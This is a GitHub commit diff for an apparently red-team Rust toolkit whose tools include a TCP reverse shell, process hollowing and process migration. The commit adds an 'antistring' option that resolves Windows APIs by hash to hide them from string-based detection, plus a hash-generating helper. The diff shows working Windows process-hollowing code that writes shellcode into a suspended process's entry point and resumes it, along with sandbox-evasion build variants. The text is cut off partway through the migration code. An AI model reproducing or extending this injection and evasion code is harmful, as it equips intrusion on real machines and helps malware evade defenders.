Antistring (#44)

* updates to rco_utils to support api hashing

* version bumps, feature adjustments

* fix tcp cargo

* make the functions public

* hash params done

* add antisand as an optional feature of tcp_reverse shell

* fix links in comments

* lots of cleanup on tcp_reverse_shell

* clippy recommendation

* fully de-stringed version is complete, but gotta figure out how i want to toggle them

* all changes to support antisand and antistring complete!

* antisand and antistring were incompatible because of imports; fixed that. also there is a new implementation of antisand with antistring applied

* antistring support for process hollowing

* antistring updates for process migration

* lock updatrer

* i think this covers the builds needed

* new tool

* readme updates

* more readme updates

* Update README.md

* Update README.md

* Update reverse shell badge data via Github Action

* Update process migration badge data via Github Action

* Update process hollowing badge data via Github Action

* trying a new workflow trigger

* undoing, didnt work the way i wanted it to

Co-authored-by: kmanc <kmanc@users.noreply.github.com>
This commit is contained in:
kmanc
2022-04-22 11:18:26 -07:00
committed by GitHub
co-authored by kmanc
parent 8af8caf75e
commit 038fa0ebc6
28 changed files with 838 additions and 109 deletions
+6
View File
@@ -0,0 +1,6 @@
{
"schemaVersion": 1,
"label": "hash_params",
"message": "1.0.0",
"color": "blue"
}
+1 -1
View File
@@ -1,6 +1,6 @@
{
"schemaVersion": 1,
"label": "process_hollowing",
"message": "1.5.0",
"message": "1.6.0",
"color": "blue"
}
+1 -1
View File
@@ -1,6 +1,6 @@
{
"schemaVersion": 1,
"label": "process_migration",
"message": "1.7.0",
"message": "1.8.0",
"color": "blue"
}
+1 -1
View File
@@ -1,6 +1,6 @@
{
"schemaVersion": 1,
"label": "tcp_reverse_shell",
"message": "1.1.5",
"message": "1.2.0",
"color": "blue"
}
+96 -5
View File
@@ -1,10 +1,10 @@
name: RCO for Linux targets
on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
push:
branches: [ master ]
env:
CARGO_TERM_COLOR: always
@@ -23,6 +23,45 @@ jobs:
- name: Build reverse shell for Linux
run: cargo build -p tcp_reverse_shell --verbose
linux-reverse-shell-antisand:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Update rust
run: rustup update
- name: Update cargo
run: cargo update
- name: Build reverse shell for Linux
run: cargo build -p tcp_reverse_shell --features antisand --verbose
linux-reverse-shell-antistring:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Update rust
run: rustup update
- name: Update cargo
run: cargo update
- name: Build reverse shell for Linux
run: cargo build -p tcp_reverse_shell --features antistring --verbose
linux-reverse-shell-all:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Update rust
run: rustup update
- name: Update cargo
run: cargo update
- name: Build reverse shell for Linux
run: cargo build -p tcp_reverse_shell --features antisand,antistring --verbose
linux-process-migration:
runs-on: ubuntu-latest
@@ -62,6 +101,19 @@ jobs:
- name: Build process migration for Linux
run: cargo build -p process_migration --features antisand --verbose
linux-process-migration-antistring:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Update rust
run: rustup update
- name: Update cargo
run: cargo update
- name: Build process migration for Linux
run: cargo build -p process_migration --features antistring --verbose
linux-process-migration-all:
runs-on: ubuntu-latest
@@ -73,7 +125,7 @@ jobs:
- name: Update cargo
run: cargo update
- name: Build process migration for Linux
run: cargo build -p process_migration --features xor,antisand --verbose
run: cargo build -p process_migration --features xor,antisand,antistring --verbose
linux-process-hollowing:
@@ -114,6 +166,19 @@ jobs:
- name: Build process hollowing for Linux
run: cargo build -p process_hollowing --features antisand --verbose
linux-process-hollowing-antistring:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Update rust
run: rustup update
- name: Update cargo
run: cargo update
- name: Build process hollowing for Linux
run: cargo build -p process_hollowing --features antistring --verbose
linux-process-hollowing-all:
runs-on: ubuntu-latest
@@ -125,7 +190,7 @@ jobs:
- name: Update cargo
run: cargo update
- name: Build process hollowing for Linux
run: cargo build -p process_hollowing --features xor,antisand --verbose
run: cargo build -p process_hollowing --features xor,antisand,antistring --verbose
linux-xor-params:
@@ -140,6 +205,19 @@ jobs:
- name: Build xor shellcode for Linux
run: cargo build -p xor_params --verbose
linux-hash-params:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Update rust
run: rustup update
- name: Update cargo
run: cargo update
- name: Build hash shellcode for Linux
run: cargo build -p hash_params --verbose
linux-all:
runs-on: ubuntu-latest
@@ -179,6 +257,19 @@ jobs:
- name: Build all for Linux
run: cargo build --features antisand --verbose
linux-all-antistring:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Update rust
run: rustup update
- name: Update cargo
run: cargo update
- name: Build all for Linux
run: cargo build --features antistring --verbose
linux-all-all:
runs-on: ubuntu-latest
@@ -190,4 +281,4 @@ jobs:
- name: Update cargo
run: cargo update
- name: Build all for Linux
run: cargo build --features xor,antisand --verbose
run: cargo build --features xor,antisand,antistring --verbose
+26 -3
View File
@@ -1,10 +1,10 @@
name: Shields data builder
on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
push:
branches: [ master ]
jobs:
update-reverse-shell:
@@ -96,4 +96,27 @@ jobs:
value: ${{ steps.xor_params_ver.outputs.app_version }}
- uses: stefanzweifel/git-auto-commit-action@v4
with:
commit_message: "Update xor params badge data via Github Action"
commit_message: "Update xor params badge data via Github Action"
update-hash-params:
runs-on: ubuntu-latest
needs: update-xor-params
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.head_ref }}
- uses: dante-signal31/rust-app-version@v1.0.0
id: hash_params_ver
with:
cargo_toml_folder: 'hash_params/'
- name: Update hash_params version
uses: jossef/action-set-json-field@v1
with:
file: '.custom_shields/hash_params.json'
field: message
value: ${{ steps.hash_params_ver.outputs.app_version }}
- uses: stefanzweifel/git-auto-commit-action@v4
with:
commit_message: "Update hash params badge data via Github Action"
+139 -6
View File
@@ -1,10 +1,10 @@
name: RCO for Windows targets
on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
push:
branches: [ master ]
env:
CARGO_TERM_COLOR: always
@@ -29,6 +29,63 @@ jobs:
run: cargo update
- name: Build reverse shell for Windows
run: cargo build -p tcp_reverse_shell --target x86_64-pc-windows-gnu --verbose
windows-reverse-shell-antisand:
runs-on: ubuntu-latest
steps:
- name: Update rust
run: rustup update
- name: Apt update
run: sudo apt-get update
- name: Install linker
run: sudo apt-get -y install mingw-w64
- name: Add Windows build target
run: rustup target add x86_64-pc-windows-gnu
- uses: actions/checkout@v2
- name: Update cargo
run: cargo update
- name: Build reverse shell for Windows
run: cargo build -p tcp_reverse_shell --target x86_64-pc-windows-gnu --features antisand --verbose
windows-reverse-shell-antistring:
runs-on: ubuntu-latest
steps:
- name: Update rust
run: rustup update
- name: Apt update
run: sudo apt-get update
- name: Install linker
run: sudo apt-get -y install mingw-w64
- name: Add Windows build target
run: rustup target add x86_64-pc-windows-gnu
- uses: actions/checkout@v2
- name: Update cargo
run: cargo update
- name: Build reverse shell for Windows
run: cargo build -p tcp_reverse_shell --target x86_64-pc-windows-gnu --features antistring --verbose
windows-reverse-shell-all:
runs-on: ubuntu-latest
steps:
- name: Update rust
run: rustup update
- name: Apt update
run: sudo apt-get update
- name: Install linker
run: sudo apt-get -y install mingw-w64
- name: Add Windows build target
run: rustup target add x86_64-pc-windows-gnu
- uses: actions/checkout@v2
- name: Update cargo
run: cargo update
- name: Build reverse shell for Windows
run: cargo build -p tcp_reverse_shell --target x86_64-pc-windows-gnu --features antisand,antistring --verbose
windows-process-migration:
@@ -87,6 +144,25 @@ jobs:
- name: Build process migration for Windows
run: cargo build -p process_migration --target x86_64-pc-windows-gnu --features antisand --verbose
windows-process-migration-antistring:
runs-on: ubuntu-latest
steps:
- name: Update rust
run: rustup update
- name: Apt update
run: sudo apt-get update
- name: Install linker
run: sudo apt-get -y install mingw-w64
- name: Add Windows build target
run: rustup target add x86_64-pc-windows-gnu
- uses: actions/checkout@v2
- name: Update cargo
run: cargo update
- name: Build process migration for Windows
run: cargo build -p process_migration --target x86_64-pc-windows-gnu --features antistring --verbose
windows-process-migration-all:
runs-on: ubuntu-latest
@@ -104,7 +180,7 @@ jobs:
- name: Update cargo
run: cargo update
- name: Build process migration for Windows
run: cargo build -p process_migration --target x86_64-pc-windows-gnu --features xor,antisand --verbose
run: cargo build -p process_migration --target x86_64-pc-windows-gnu --features xor,antisand,antistring --verbose
windows-process-hollowing:
@@ -163,6 +239,25 @@ jobs:
- name: Build process hollowing for Windows
run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --features antisand --verbose
windows-process-hollowing-antistring:
runs-on: ubuntu-latest
steps:
- name: Update rust
run: rustup update
- name: Apt update
run: sudo apt-get update
- name: Install linker
run: sudo apt-get -y install mingw-w64
- name: Add Windows build target
run: rustup target add x86_64-pc-windows-gnu
- uses: actions/checkout@v2
- name: Update cargo
run: cargo update
- name: Build process hollowing for Windows
run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --features antistring --verbose
windows-process-hollowing-all:
runs-on: ubuntu-latest
@@ -180,9 +275,9 @@ jobs:
- name: Update cargo
run: cargo update
- name: Build process hollowing for Windows
run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --features xor,antisand --verbose
run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --features xor,antisand,antistring --verbose
windows-xor_params:
windows-xor-params:
runs-on: ubuntu-latest
@@ -201,6 +296,25 @@ jobs:
- name: Build xor shellcode for Windows
run: cargo build -p xor_params --target x86_64-pc-windows-gnu --verbose
windows-hash-params:
runs-on: ubuntu-latest
steps:
- name: Update rust
run: rustup update
- name: Apt update
run: sudo apt-get update
- name: Install linker
run: sudo apt-get -y install mingw-w64
- name: Add Windows build target
run: rustup target add x86_64-pc-windows-gnu
- uses: actions/checkout@v2
- name: Update cargo
run: cargo update
- name: Build xor shellcode for Windows
run: cargo build -p hash_params --target x86_64-pc-windows-gnu --verbose
windows-all:
runs-on: ubuntu-latest
@@ -258,6 +372,25 @@ jobs:
- name: Build all for Windows
run: cargo build --target x86_64-pc-windows-gnu --features antisand --verbose
windows-all-antistring:
runs-on: ubuntu-latest
steps:
- name: Update rust
run: rustup update
- name: Apt update
run: sudo apt-get update
- name: Install linker
run: sudo apt-get -y install mingw-w64
- name: Add Windows build target
run: rustup target add x86_64-pc-windows-gnu
- uses: actions/checkout@v2
- name: Update cargo
run: cargo update
- name: Build all for Windows
run: cargo build --target x86_64-pc-windows-gnu --features antistring --verbose
windows-all-all:
runs-on: ubuntu-latest
@@ -275,4 +408,4 @@ jobs:
- name: Update cargo
run: cargo update
- name: Build all for Windows
run: cargo build --target x86_64-pc-windows-gnu --features xor,antisand --verbose
run: cargo build --target x86_64-pc-windows-gnu --features xor,antisand,antistring --verbose
Generated
+16 -14
View File
@@ -14,12 +14,6 @@ version = "1.3.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
[[package]]
name = "cc"
version = "1.0.73"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11"
[[package]]
name = "cfg-if"
version = "1.0.0"
@@ -37,11 +31,19 @@ dependencies = [
"wasi",
]
[[package]]
name = "hash_params"
version = "1.0.0"
dependencies = [
"rco_config",
"rco_utils",
]
[[package]]
name = "libc"
version = "0.2.122"
version = "0.2.124"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ec647867e2bf0772e28c8bcde4f0d19a9216916e890543b5a03ed8ef27b8f259"
checksum = "21a41fed9d98f27ab1c6d161da622a4fa35e8a54a8adc24bbf3ddd0ef70b0e50"
[[package]]
name = "memoffset"
@@ -54,12 +56,11 @@ dependencies = [
[[package]]
name = "nix"
version = "0.23.1"
version = "0.24.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9f866317acbd3a240710c63f065ffb1e4fd466259045ccb504130b7f668f35c6"
checksum = "8f6d99b651ff9697d6710f9613a07c5b4e0d655040faf56b3b471af108d55597"
dependencies = [
"bitflags",
"cc",
"cfg-if",
"libc",
"memoffset",
@@ -73,7 +74,7 @@ checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872"
[[package]]
name = "process_hollowing"
version = "1.5.0"
version = "1.6.0"
dependencies = [
"nix",
"rco_config",
@@ -83,7 +84,7 @@ dependencies = [
[[package]]
name = "process_migration"
version = "1.7.0"
version = "1.8.0"
dependencies = [
"nix",
"rco_config",
@@ -135,9 +136,10 @@ dependencies = [
[[package]]
name = "tcp_reverse_shell"
version = "1.1.5"
version = "1.2.0"
dependencies = [
"rco_config",
"rco_utils",
"windows",
]
+4 -3
View File
@@ -1,11 +1,12 @@
[workspace]
members = [
"hash_params",
"process_hollowing",
"process_migration",
"rco_config",
"rco_utils",
"tcp_reverse_shell",
"process_migration",
"process_hollowing",
"tcp_reverse_shell",
"xor_params",
]
+5 -3
View File
@@ -11,12 +11,14 @@ RCO tools can be compiled on either Linux or Windows systems to provide its user
## Tools list
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Ftcp_reverse_shell.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/tcp_reverse_shell)
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_migration.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration)
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fhash_params.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/hash_params)
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_hollowing.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_hollowing)
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_migration.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration)
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Ftcp_reverse_shell.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/tcp_reverse_shell)
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fxor_params.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/xor_params)
## Setup
+12
View File
@@ -0,0 +1,12 @@
[package]
name = "hash_params"
version = "1.0.0"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.59"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
rco_config = {path = "../rco_config"}
rco_utils = {path = "../rco_utils", features = ["antistring"] }
+26
View File
@@ -0,0 +1,26 @@
# RCO: Hash Params
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fhash_params.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/hash_params)
![gif](https://user-images.githubusercontent.com/14863147/164768272-9b010714-6b81-42d1-9caf-d08324827959.gif)
## How it works
Hash params performs Rust's default hash algorithm ([SipHash-1-3 at the time of this writing](https://en.wikipedia.org/wiki/SipHash)) on command line arguments and prints their output in hex. This should not be considered cryptographically secure, but works for obfuscating a value in a repeatable way.
## Using it
1. [Not shown in GIF] Compile the executable
#### For Linux
```commandline
cargo build -p hash_params --release
```
#### For Windows
```commandline
cargo build --target x86_64-pc-windows-gnu -p hash_params --release
```
2. Run the executable with the desired hash targets
+9
View File
@@ -0,0 +1,9 @@
use std::env;
fn main() {
let args: Vec<String> = env::args().collect();
for arg in args[1..].iter() {
let hashed = rco_utils::calculate_hash(arg);
println!("{arg} --> {hashed:x}");
}
}
+3 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "process_hollowing"
version = "1.5.0"
version = "1.6.0"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.59"
@@ -10,6 +10,8 @@ rust-version = "1.59"
[features]
xor = ["rco_utils/xor"]
antisand = ["rco_utils/antisand"]
antistring = ["rco_utils/antistring"]
[dependencies]
rco_config = {path = "../rco_config"}
+2 -2
View File
@@ -23,12 +23,12 @@ and change the shellcode to the shellcode generated in step 1
#### Build for Linux target
```commandline
cargo build -p process_hollowing [--features [xor][antisand]] --release
cargo build -p process_hollowing [xor][,][antisand][,][antistring]] --release
```
#### Build for Windows target
```commandline
cargo build --target x86_64-pc-windows-gnu -p process_hollowing [--features [xor][antisand]] --release
cargo build --target x86_64-pc-windows-gnu -p process_hollowing [xor][,][antisand][,][antistring]] --release
```
5. Start a netcat listener on the attacking machine on the same port you configured the shellcode to connect to in step 1
```commandline
+3 -1
View File
@@ -18,8 +18,10 @@ const TARGET_PROCESS: &[u8] = rco_config::ENCRYPTED_LINUX_HOLLOWING_TARGET;
// Load Windows implementation if the target OS is Windows
#[cfg(windows)]
mod rco_process_hollowing_windows;
#[cfg(windows)]
#[cfg(all(windows, not(feature = "antistring")))]
use rco_process_hollowing_windows::hollow_and_run;
#[cfg(all(windows, feature = "antistring"))]
use rco_process_hollowing_windows::antistring_hollow_and_run as hollow_and_run;
// Determine which shellcode and target process to use based on features
#[cfg(all(windows, not(feature = "xor")))]
const SHELLCODE: &[u8] = rco_config::WINDOWS_SHELLCODE;
@@ -2,8 +2,17 @@ extern crate windows;
use std::{mem, ptr};
use std::ffi::{CString, c_void};
use windows::core::{PCSTR, PSTR};
use windows::Win32::System::Threading::{CREATE_SUSPENDED,PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, PROCESSINFOCLASS, STARTUPINFOA};
#[cfg(not(feature = "antistring"))]
use windows::Win32::System::Threading::{CreateProcessA, NtQueryInformationProcess, ResumeThread};
#[cfg(not(feature = "antistring"))]
use windows::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory};
use windows::Win32::System::Threading::{CreateProcessA, CREATE_SUSPENDED, NtQueryInformationProcess, PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, PROCESSINFOCLASS, ResumeThread, STARTUPINFOA};
#[cfg(feature = "antistring")]
use windows::Win32::Foundation::{BOOL, HANDLE};
#[cfg(feature = "antistring")]
use windows::Win32::Security::SECURITY_ATTRIBUTES;
#[cfg(feature = "antistring")]
use windows::Win32::System::Threading::PROCESS_CREATION_FLAGS;
const POINTER_SIZE: usize = mem::size_of::<&u8>();
const POINTER_SIZE_TIMES_SIX: u32 = POINTER_SIZE as u32 * 6;
@@ -30,10 +39,11 @@ fn array_to_u64_lit_end(array: &[u8; 8]) -> u64 {
(array[7] as u64) << 56
}
#[cfg(not(feature = "antistring"))]
pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
// Create empty StartupInfoA struct for use in CreateProcess
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfow
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/struct.STARTUPINFOW.html
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/struct.STARTUPINFOA.html
let startup_info: STARTUPINFOA = unsafe { mem::zeroed() };
// Create empty ProcessInformation struct for use in CreateProcess
@@ -41,9 +51,9 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/struct.PROCESS_INFORMATION.html
let mut process_information: PROCESS_INFORMATION = unsafe { mem::zeroed() };
// Use CreateProcessW to create a suspended process that will be hollowed out for the shellcode
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessW.html
// Use CreateProcessA to create a suspended process that will be hollowed out for the shellcode
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8;
@@ -55,7 +65,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
ptr::null(),
false,
CREATE_SUSPENDED,
ptr::null() as *const _,
ptr::null(),
lp_current_directory,
&startup_info,
&mut process_information) };
@@ -63,16 +73,12 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
panic!("Could not create the suspended {target_process} with CreateProcessA");
}
// Create empty PROCESS_BASIC_INFORMATION struct for use in ZwQueryInformationProcess
// WINDOWS --> https://www.pinvoke.net/default.aspx/Structures/PROCESS_BASIC_INFORMATION.html
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/struct.PROCESS_BASIC_INFORMATION.html
let process_handle = process_information.hProcess;
let mut basic_information: PROCESS_BASIC_INFORMATION = unsafe { mem::zeroed() };
let info_class: PROCESSINFOCLASS = unsafe { mem::zeroed() };
// Get the PEB base address of the suspended process with ZwQueryInformationProcess
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.NtQueryInformationProcess.html
let process_handle = process_information.hProcess;
let mut basic_information: PROCESS_BASIC_INFORMATION = unsafe { mem::zeroed() };
let info_class: PROCESSINFOCLASS = unsafe { mem::zeroed() };
if let Err(error) = unsafe { NtQueryInformationProcess(process_handle, info_class, &mut basic_information as *mut _ as *mut c_void, POINTER_SIZE_TIMES_SIX, ptr::null_mut()) } {
panic!("Could not get the entry point with ZwQueryInformationProcess: {error}");
}
@@ -118,3 +124,80 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
panic!("Could not resume the suspended {target_process}'s execution");
}
}
#[cfg(feature = "antistring")]
pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) {
// See line 44
let startup_info: STARTUPINFOA = unsafe { mem::zeroed() };
// See line 49
let mut process_information: PROCESS_INFORMATION = unsafe { mem::zeroed() };
// See line 54
let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap();
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8;
let lp_current_directory: PCSTR = unsafe { mem::zeroed() };
unsafe {
mem::transmute::<*const (), fn(PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION) -> BOOL>
(function)(lp_application_name,
lp_command_line,
ptr::null(),
ptr::null(),
false,
CREATE_SUSPENDED,
ptr::null() as *const _,
lp_current_directory,
&startup_info,
&mut process_information)
};
// See line 76
let function = rco_utils::find_function_address("Ntdll", 0x9b0d5adddbf90f8a).unwrap();
let process_handle = process_information.hProcess;
let mut basic_information: PROCESS_BASIC_INFORMATION = unsafe { mem::zeroed() };
let info_class: PROCESSINFOCLASS = unsafe { mem::zeroed() };
unsafe {
mem::transmute::<*const (), fn(HANDLE, PROCESSINFOCLASS, *mut c_void, u32, *mut u32)>
(function)(process_handle, info_class, &mut basic_information as *mut _ as *mut c_void, POINTER_SIZE_TIMES_SIX, ptr::null_mut())
};
// See line 86
let function = rco_utils::find_function_address("Kernel32", 0x1c1cfbf71004cba8).unwrap();
let image_base_address = basic_information.PebBaseAddress as u64 + 0x10;
let mut address_buffer = [0; POINTER_SIZE];
unsafe {
mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)>
(function)(process_handle, image_base_address as *const c_void, address_buffer.as_mut_ptr() as _, address_buffer.len(), ptr::null_mut())
};
// See line 96
let pe_base_address = array_to_u64_lit_end(&address_buffer);
let mut header_buffer = [0; 0x200];
unsafe {
mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)>
(function)(process_handle, pe_base_address as *const c_void, header_buffer.as_mut_ptr() as _, header_buffer.len(), ptr::null_mut())
};
if header_buffer[0] != 77 || header_buffer[1] != 90 {
panic!("An offset looks incorrect, the DOS header magic bytes don't correspond to 'MZ'");
}
// See line 106
let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap();
let e_lfanew = array_to_u32_lit_end(&header_buffer[E_LFANEW_OFFSET..E_LFANEW_OFFSET + 0x04].try_into().unwrap());
let opthdr_offset = e_lfanew as usize + OPTHDR_ADDITIONAL_OFFSET;
let entry_point_rva = array_to_u32_lit_end(&header_buffer[opthdr_offset..opthdr_offset + 0x04].try_into().unwrap());
let entry_point_address = entry_point_rva as u64 + pe_base_address;
unsafe {
mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)>
(function)(process_handle, entry_point_address as *const c_void, shellcode.as_ptr() as *const c_void, shellcode.len(), ptr::null_mut())
};
// See line 119
let function = rco_utils::find_function_address("Kernel32", 0x9f2eb3a0195b21d).unwrap();
unsafe {
mem::transmute::<*const (), fn(HANDLE)>
(function)(process_information.hThread)
};
}
+2 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "process_migration"
version = "1.7.0"
version = "1.8.0"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.59"
@@ -10,6 +10,7 @@ rust-version = "1.59"
[features]
xor = ["rco_utils/xor"]
antisand = ["rco_utils/antisand"]
antistring = ["rco_utils/antistring"]
[dependencies]
rco_config = {path = "../rco_config"}
+2 -2
View File
@@ -25,12 +25,12 @@ and change the shellcode to the shellcode generated in step 1
#### Build for Linux target
```commandline
cargo build -p process_migration [--features [xor][antisand]] --release
cargo build -p process_migration [xor][,][antisand][,][antistring]] --release
```
#### Build for Windows target
```commandline
cargo build --target x86_64-pc-windows-gnu -p process_migration [--features [xor][antisand]] --release
cargo build --target x86_64-pc-windows-gnu -p process_migration [xor][,][antisand][,][antistring]] --release
```
5. Start a netcat listener on the attacking machine on the same port you configured the shellcode to connect to in step 1
```commandline
+3 -1
View File
@@ -18,8 +18,10 @@ const TARGET_PROCESS: &[u8] = rco_config::ENCRYPTED_LINUX_MIGRATION_TARGET;
// Load Windows implementation if the target OS is Windows
#[cfg(windows)]
mod rco_process_migration_windows;
#[cfg(windows)]
#[cfg(all(windows, not(feature = "antistring")))]
use rco_process_migration_windows::inject_and_migrate;
#[cfg(all(windows, feature = "antistring"))]
use rco_process_migration_windows::antistring_inject_and_migrate as inject_and_migrate;
// Determine which shellcode and target process to use based on features
#[cfg(all(windows, not(feature = "xor")))]
const SHELLCODE: &[u8] = rco_config::WINDOWS_SHELLCODE;
@@ -1,11 +1,29 @@
extern crate windows;
use std::{mem, ptr};
use windows::Win32::Foundation::CHAR;
use windows::Win32::System::Diagnostics::ToolHelp::{PROCESSENTRY32, TH32CS_SNAPPROCESS};
use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
use windows::Win32::System::Threading::PROCESS_ALL_ACCESS;
#[cfg(not(feature = "antistring"))]
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
use windows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot, PROCESSENTRY32, Process32Next, TH32CS_SNAPPROCESS};
use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAllocEx};
use windows::Win32::System::Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS};
#[cfg(not(feature = "antistring"))]
use windows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot, Process32Next};
#[cfg(not(feature = "antistring"))]
use windows::Win32::System::Memory::VirtualAllocEx;
#[cfg(not(feature = "antistring"))]
use windows::Win32::System::Threading::{CreateRemoteThread, OpenProcess};
#[cfg(feature = "antistring")]
use core::ffi::c_void;
#[cfg(feature = "antistring")]
use windows::Win32::Foundation::{BOOL, HANDLE};
#[cfg(feature = "antistring")]
use windows::Win32::System::Diagnostics::ToolHelp::CREATE_TOOLHELP_SNAPSHOT_FLAGS;
#[cfg(feature = "antistring")]
use windows::Win32::System::Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE};
#[cfg(feature = "antistring")]
use windows::Win32::System::Threading::PROCESS_ACCESS_RIGHTS;
#[cfg(not(feature = "antistring"))]
pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
// Call CreateToolhelp32Snapshot to get a snapshot of all the processes currently running
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
@@ -72,3 +90,68 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
panic!("CreateRemoteThread failed");
}
}
#[cfg(feature = "antistring")]
pub fn antistring_inject_and_migrate(shellcode: &[u8], target_process: &str) {
// See line 28
